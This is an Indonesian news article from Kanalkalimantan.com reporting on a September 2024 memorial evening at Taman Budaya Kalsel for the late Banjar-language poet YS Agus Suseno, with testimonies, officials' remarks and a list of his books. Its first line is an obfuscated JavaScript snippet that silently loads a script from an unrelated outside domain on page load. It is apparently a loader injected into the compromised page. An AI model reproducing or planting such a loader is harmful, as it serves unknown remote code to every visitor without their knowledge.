(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Seni Budaya

Mengenang YS Agus Suseno dari Panggung Taman Budaya Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Puisi “Gunturnya Haja Hujannya Kada” karya almarhum YS Agus Suseno menggema di Panggung Bakhtiar Sandra Taman Budaya Kalsel, Banjarmasin.

Ya, Dewan Kesenian Kalimantan Selatan (DKKS), Dewan Kesenian Banjarmasin, bersama UPTD Taman budaya Kalsel menggelar acara bertajuk “Mengenang YS Agus Suseno: Pikiran, Tindakan dan Warisan Budaya”, pada Minggu (22/9/2024) malam.

Acara digelar sebagai bentuk apresiasi untuk YS Agus Suseno dan karya-karyanya.

Baca juga: ULM Turun ‘Kasta’ A ke C, Mahasiswa Hilang Semangat Rampungkan Skripsi

Dalam acara, dilakukan penayangan sejumlah karya penyair yang sering menulis puisi berbahasa Banjar itu.

Kemudian dilanjutkan dengan testimoni penyair YS Agus Suseno di mata sesama seniman, sastrawan, dan sahabat.

Hajriansyah, Maria Roeslie, HE Benyamine, Micky Hidayat, Sandi Firly, Khairiadi Asa, hingga Budi Kurniawan, memberikan kesaksian dan cerita tentang YS Agus Suseno.

Baca juga: Eksekusi Pembongkaran Kandang Babi di Guntung Manggis Batal

Ketua DKKS Taufik Arbain mengatakan, kegiatan yang dilaksanakan sebagai bentuk apresiasi terhadap karya seniman sastra Kalsel YS Agus Suseno.

“Kita ingin menghargai, membangkitkan apa jasa yang baik telah dia lakukan, pikiran piiranya berkaitan dengan budaya dan kesenian,” ujar Arbain.

Menurut Arbain, YS Suseno sangat kuat melakukan pandangan kritik kepada siapapun, termasuk kepada pemerintah, pejabat daerah, bahkan temannya sendiri.

Baca juga: Bebas Khawatir saat Sibuk Kerja, BRImo Punya Fitur Tagihan Terjadwal

“Agus Suseno mengambil pilihan sendiri yang lain dari yang lain. Saya kira dia berani mengambil resiko membuat panggung sendiri tidak meniru panggung-panggung lain,” ucap Ketua DKKS Kalsel.

Arbain memandang, yang dilakukan almarhum YS Agus Suseno menegaskan bahwa seni budaya tidak hanya hiburan, akan tetapi ada tanggung jawab moral didalamnya.

“Karya dia melakukan kritik yang berani, agar pihak kena kritik tidak melakukan tindakan yang melampaui batas,” ujar Arbain saat sambutan di panggung Bakhtiar Sandra Taman Budaya Kalsel, Minggu (22/9/2024) malam.

Baca juga: Panwascam Amuntai Tengah Minta Aparatur Desa Jaga Netralitas

Terpisah, Kepada UPTD Taman Budaya melalui Kasi Promosi dan Dokumentasi Taman Budaya Kalsel, Nita Aulia mengatakan, pihaknya merasa senang dapat ikut memfasilitasi acara untuk mengenang YS Agus Suseno.

Menurutnya, semasa hidupnya, YS Agus Suseno sering bekerja sama dengan Taman Budaya Kalsel.

“Di bidang sastra, banyak pemikiran beliau membantu sastra Kalsel. Kita bangga memiliki tokoh seperti beliau,” ucap Nita.

Baca juga: Pegunungan Meratus Diusulkan Menjadi Taman Nasional

Penyair yang juga essais YS Agus Suseno meninggal dunia di Rumah Sakit (RS) Islam Banjarmasin Kamis (12/9/2024) pagi. Agus wafat di usia 60 tahun.

Agus dikenal sebagai penyair yang sering menulis puisi berbahasa Banjar.

Selain menulis, Agus juga sosok yang peduli terhadap lingkungan, ia menjadi salah satu orang yang menggaungkan gerakan #SaveMeratus.

Baca juga: Nestapa Batubara di Konsesi PT Merge Mining Industri

Puisi-puisinya juga tak jarang menyoroti tentang Meratus hingga eksploitasi alam dan kritik terhadap pemerintah.

Beberapa puisinya yang dikenal luas seperti “Gunturnya Haja Hujannya Kada”, “Tanah Para Datu”, dan masih banyak lagi.

Agus sering memposting puisinya di akun facebook, namun pada Agustus 2022, beliau memutuskan meninggalkan medsos.

Pada 2023 lalu, Agus telah menerbitkan buku dengan judul “Baruh Urang Dikaruni, Baruh Saurang Taung”. Buku yang mengisahkan pribahasa Banjar serta penggunaannya dalam kehidupan sehari-hari. Kemudian buku berjudul “Han Nyaman Ti Pang! Kambang Rampai Puisi Basa Banjar”.

Pada tahun 2024, Agus kembali menerbitkan buku yang berjudul “Sekelam Malam Sehitam Batu Bara ” dan buku “Tanah Banjar Negeri Kesedihan”. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Pelantikan PAW Komisioner KPU Banjarbaru Tunggu KPU RI

KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More

11 jam ago

Talk Show HUT ke-8 RSD Idaman Seni Mengelola Konflik dalam Rumah Tangga

KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More

13 jam ago

2.069 Pelajar SD se HSU Ikuti Khataman Al Qur’an

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More

1 hari ago

Curi Mobil Nyamar Petugas Parkir Wisuda Kampus ULM, MSR Diringkus Polisi

KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More

1 hari ago

Nasib Tiga Proyek Dinas PUPR Kalsel Pasca OTT KPK

KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More

1 hari ago

Kunjungi Karangintan, Masyarakat Inginkan Saidi Mansyur Terpilih Lagi

KANALKALIMANTAN.COM, MARTAPURA - Masyarakat Karangintan menyatakan dukungannya terhadap pasangan calon bupati dan wakil bupati Banjar… Read More

1 hari ago

This website uses cookies.